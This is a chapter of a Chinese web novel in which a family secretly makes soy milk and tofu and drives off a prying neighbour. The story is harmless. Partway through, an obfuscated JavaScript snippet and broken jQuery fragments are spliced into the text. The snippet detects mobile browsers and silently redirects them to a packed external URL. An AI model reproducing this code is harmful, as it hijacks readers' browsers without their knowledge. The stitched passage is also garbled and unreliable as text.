黎玲玲到达时，黎光宗一家人已经从村口水井处打起所需的用水。


    而三个孩童一见黎玲玲三人到，也不用长辈叮嘱，便手持弹弓，散开。


    见孩子眉眼间透着的老练犀利之色，黎玲玲更为郑重，入内低声一一重复了一遍配方比例，说完，她郑重看记录的陈家囡，又看拧眉的黎光宗。


    黎光宗颔首：“跟第一遍一样。”


    陈家囡指指记录的手札本：“一模一样！”


    何桃花听得这声声笃定，摩拳擦掌：“那就开干！”


    “小琮开磨！”


    单手的黎琮应得很痛快，捏紧了手柄。


    黎玲玲负责加料。


    黎光宗负责接料。


    陈家囡负责记录。


    何桃花和王翠花倚着柴门，观测敌情。顺带养精蓄锐要接棒！


    看着井然有序各有分工的一大家人，黎玲玲只觉自己舀起来的是金灿灿的未来。带着强烈的信念感，她率先检查了一番黄豆的泡发。


    随手抓了一颗幸运黄豆，见表面光滑、无皱皮，她轻轻一捏。


    见捏碎容易，豆皮依旧覆盖黄豆碎块上，无脱落。


    黎玲玲满意，低声跟陈家囡诉说泡发细节，记录泡发时间，方便以后做实验看哪一种口感合百姓欢迎。


    然后，她郑重的用何桃花说供奉过灶王爷的青花碗舀起第一碗黄豆。小心翼翼的只盛了五分满，免得倾斜倒入料槽时，往外渗了水跑了黄豆。


    ——毕竟，眼下少量多次没问题。原材料成本要控制好。


    黎琮开始转动。


    他感受着越来越大的阻力，用力转动手柄。


    对抗的力量最终化作接料槽破碎的黄豆泥，化作乳白色的浆液嘀嗒嘀嗒顺着漏斗入木盆中。


    黎光宗看着慢慢一层覆盖在木盆上的豆腐渣，眼睛忍不住一红。


    自打逃荒后，多少年多少日了，从前寻常的豆腐都见不得，就连豆浆也成了奢望。眼下误打误撞的，让他终于可以慢慢回想从前了。


    回想从前那一口香醇的豆浆，继而开始大胆奢望起来辛辣的老酒！


    见老爷子望着第一碗的浆料眉眼都带着对生活的向往，黎琮也是双眸熠熠，断臂衣袖打起来的蝴蝶结随着人转动的身形，真似展翅高飞的蝴蝶，透着轻快，不见往日压抑的忧愁。黎玲玲笑着，缓慢又郑重的开始倒入第二碗黄豆，第三碗黄豆……


    半个时辰后，黎光宗和黎琮换位置，她和何桃花换位置。


    互相交流细节。


    陈家囡奋笔疾书。


    一个时辰后，用羊毛刷将料槽里的料顺着漏斗唰下来后，五斤泡好的干黄豆化成了细腻的乳白豆腐渣。


    “细布过滤，我想到一个细节。”黎玲玲比划：“悬挂屋檐上，然后两根木头相交，有四个方向，将纱布四角对应捆好。然后摇晃木头，摇啊摇，省力！”


    何桃花欣喜：“这个我在老七家见到过。我能安装。”


    “咱们壮劳力在呢。”黎光宗轻声：“这房没主梁。咱们眼下别这么干，家囡先记着。”


    何桃花闻言看着墙壁还焦黑的厅堂，点头，边撂起袖子边冲家囡道：“要是重，你等会接应着琮他娘。”


    陈家囡应下。


    王翠花也不这会显摆自己好着呢，赶忙拐杖再一次冲地面敲两下，确定自己借力稳稳当当的，才抬手拿过纱布一角。


    何桃花和黎光宗也分别抓了一角。


    三人成三角形姿势。


    黎玲玲在纱布下铺好大木盆。


    黎光宗开始舀豆腐渣。


    摇晃的三人看着豆腐渣一碗一碗倒入纱布中，只觉太轻了。就这点，他们一只手都能挥得动。甚至都不用这么大阵仗，徒手都捏得汁水和渣料分离！


    黎玲玲对三人表示高度认同，积极提供目前可食用的豆渣馒头制作方法：“其他好像都要佐料配合才好吃。目前来说都太贵了，还是给驴当饲料方便。”


    所有人表示认同，进入下一步煮浆。


    “大火煮开，要把浮沫捞出来。”黎玲玲边强调重点，边嗅着飘出来的香气，感觉自己嘴巴都控制不住分泌唾液了。她眼角余光看着不远处频频回头，哪怕好奇，却依旧坚守岗位的三个好战士，感动着沉声要求：“被菩萨保佑的未来豆腐西施能不能提一个？”


    说完，她不去看大人们什么神色，铿锵有力：“等会豆浆好了，我们先一人喝一口庆祝一下好不好？”


    “最起码，豆浆也是一门手艺！”


    黎光宗没错过人眼眸望哪里瞟。可他不敢去看门外的孙辈们，闻言也只能硬声道：“得用小酒盅。”


    “黎光宗，哪里来的小酒盅？”何桃花怒。


    “这不是祭祖还有逢年过节得用。我是族长起码得带着一套。”黎光宗唬着脸：“小辈面前冷静。”


    何桃花气闷，但望着随着她舀起浮沫，愈发乳白的豆浆，跟自己记忆中那一碗碗醇香豆浆一样，嘴角不由得弯起，回应：“好，咱们先喝一碗！”


    “举杯共庆！”


    “日子没山穷水尽呢，大气的，一人一碗！”


    “豆腐不成块怎么办？”


    “等明天，咱们豆浆喝个痛快。”黎光宗理智道：“咱加糖！”


    “叔祖母，咱们明天喝个痛快。”黎琮开口：“明天我拿家里酱油来，咱们喝咸豆花。”


    何桃花应下：“咱们明天爱加什么佐料就爽气加料。”


    伴随着这话，她看着沸腾起来的豆浆，问黎玲玲这个被菩萨保佑的豆腐西施是不是该转小火了。


    豆腐西施看了眼中间冒起的大泡泡，颔首应下，自己与陈家囡做卤水最后核对工作，确认盐卤和清水克数比例换算斤两无误后，她郑重的端起碗。


    与此同时，与厨房打交道多年的何桃花娴熟的抽出柴火，转小火。


    而后敛声屏息，卤水点豆腐最关键的一步要来了。


    黎玲玲迎着众人注目，她先舀出一人一口的份例。


    看着盛放他们庆祝豆浆的大碗，黎玲玲虔诚的接过汤勺，开始边搅动边缓缓注入卤水。


    等第三次注入的时候，锅里开始出现絮状的豆花。


    见随着她转动的汤勺，豆花开始越来越多，黎玲玲慢慢的将剩下卤水，继续分多次加入。


    其他人瞧着越来越多的豆花，都忍不住面带喜色。


    接下来就差最后一步了。


    “娘，现在要光火焖十……”哪怕她不怕小鬼来历被家人知道，但介于太成器的穿越前辈威压在，黎玲玲还是机警沉声道：“半柱香时间左右。”


    何桃花照办，说没火就立马灭了灶膛的火焰。


    灭完之后，她还用火钳检查了一番。


    确定没死灰复燃的机会，何桃花没忍住手摸了摸围裙，目光定定的看着锅盖。哪怕看不见，但她都觉自己可以想象了，这一揭开锅里面满满都是莹白细腻的豆腐……


    随着屋内的寂静，在院落的三个孩童你看我，我看你，也跟着敛声屏息。


    就在他们静默时，忽然间听到一声阴阳怪气：“哟，不愧是有驴的大户人家啊！驴这么悠闲吃草，我们累死累活的。”


    唯恐人靠近了，嗅到屋内的香气。


    黎晓雷立马抄起尖棍出门。


    黎晓雯拉着人衣袖，高声：“哥哥，是那个童生老爷，就是特别胖的那个坏蛋他娘。很是为老不尊，先前还泼妇哭嚎说自己也要帮厨！”


    孟德他娘看着堂屋内那悠闲甩尾的驴，再听这小心眼的话，便愈发笃定知道自己借驴不会成功，当即嚷着：“你个没人要的扫把星，跟——”


    “他娘的！”何桃花直接冲出来，拿着钢叉对准孟德他娘：“找事是吧？我记得村长可说了要是谁家闹事就家就会被赶出去。”


    “是想着趁着村里人人开荒，你是来当贼的？”


    “是你——”


    何桃花撩袖子，“别废话，要么打要么滚。再敢废话一句，让你看看奶奶我的厉害！”


    “晓雷，赏她一泡童子尿洗洗嘴巴！”


    被点名的黎晓雷还有些不乐意：“祖母，肥水不流外人田。咱们家开荒还得用料！”


    孟德他娘气得面色铁青，但一见几人拄着当门神一样，其他人不出来神秘兮兮的模样，心中泛着嘀咕，狠狠丢下一句：“走着瞧，等我儿高中秀才定要那么好看！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907803|192100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “呸！”何桃花带着三人齐齐吐唾沫。


    然后又低声叮嘱，让三孩子进屋，她自己守着门口。


    三孩子进来还有些紧张：“祖父，我们——”


    “你们表现很好。这是豆浆，咱们一人一小口，尝尝味道。”黎光宗说着：“给你们玲玲姐敬一杯，谢谢她分享这方子。”


    三人闻言克制住鼻翼去嗅酒盅里的香气，双手都有些颤抖端起来。豆腐豆浆什么味，离他们都太远了。可眼下香味能够跟安置营里的米饭相比呢！


    黎玲玲看着一个赛一个乖巧的崽，弯腰与三人一一碰杯：“咱们四个杯子聚在一起，小民一口。然后在一起举杯豪迈一饮而尽！”


    边说她看门外。


    黎光宗沉声：“安全第一。也是我们倏忽了，没人下地会被嘀嘀咕咕。不过这豆腐成功，咱们倒是没什么好担心那个小宵的。”


    “眼下即将最关键的一步，还是守着门。”


    黎玲玲理解的点点头，示意三孩子先与她举杯共庆。


    小小抿了一口，黎玲玲感受着入唇畔的醇香黄豆味，目光炯炯的望着三人。


    三人不约而同笑着：“好香。”


    “来，我们一起举杯。”黎光宗开口。


    何桃花和黎琮笑着举杯。


    黎琮还有样学样，学着黎玲玲弯腰。


    见状何桃花也随之拐杖飞快一挪，躬身。


    陈家囡微微一愣，但也随之弯腰，去看她奋斗的未来。


    黎玲玲立马拉着黎光宗也弯腰，示意人看着未来，看着他们未来奋斗的希望，还张嘴强调：“孩子是未来，懂不族长。”


    族长笑着：“你们同辈，都是未来！”


    说话间他弯腰，感受着酒盅接触发出的脆响，只觉自己这一口一饮而尽，比喝了十几年的佳酿还畅快。


    有种酒入喉肠，与天地共醉的美好！


    一行人畅快一饮而尽后，望着重物压好的豆腐，只需时间进行验证的豆腐，开始分批开干活：黎光宗去换厨房巧妇何桃花入内，与王翠花开始做豆腐渣馒头；陈家囡依旧记录馒头做法；黎玲玲负责技术指点。


    黎琮带着三孩子洗石磨等工具，先暂且消灭制作痕迹。


    黎光宗负责守卫家园大门。


    一个时辰后，一行人敛声屏息，小心翼翼的看着打开的纱布。


    瞧着豆腐渣被压得细腻，表面光洁至极，仿若剥壳的鸡蛋一般，带着光滑。黎玲玲小心翼翼用手点了点，感受着按压下去的紧致结实。她狠狠吸口气，松开手。


    见豆腐慢慢回弹，她字正腔圆：“叔祖母，翻过来放砧板上，咱们就痛快一刀切下去！”


    被呼喊的何桃花手脚麻利的翻面，望着除掉豆腐模具露出来四四方方的豆腐大块。作为昔年经常买豆腐的，她也知道豆腐好坏要看切口是否平整，有无无气孔或碎渣。若是结构粗糙的话，豆腐品质就差，卖不上价。


    想着自己当年对豆腐挑挑拣拣的，何桃花便觉自己没勇气握刀了。


    敲着爽快的何桃花抽搐了，黎玲玲看王翠花，见人表情与何桃花一般，似乎在回想过往如何买豆腐。


    见状，她吸口气：“我来！”


    “观音菩萨，灶王爷赐予我力量吧！”黎玲玲希冀着，拿起菜刀，手起刀落就是一划。


    划出四四方方的一小块后，她赶忙用刀背将豆腐小块铲起来，盛放好。


    一回头，就见两人包括陈家囡都去观察切口了。


    见状，她轻声：“切口如何？”


    “好！”三人异口同声：“一看就是嫩豆腐！”


    “平整，光洁，看着都没气孔。”


    “我手干净的啊，我去点——”何桃花举起双手示意，说点的时候还结巴了一下：“点一下啊。”


    说完她飞快指尖碰了一下豆腐。


    感受着豆腐的温热细腻，她都觉自己老手老茧的磨破豆腐皮了，赶忙道：“也不粘腻！切面细嫩的很！”


    “绝对能够卖上好价！搁太平年间，没准都能卖十文钱一斤！”


    黎光宗笑着在比划个禁声的手势，低声：“新鲜热乎的豆腐，凉拌也好吃。咱们现在就吃，吃热乎的。”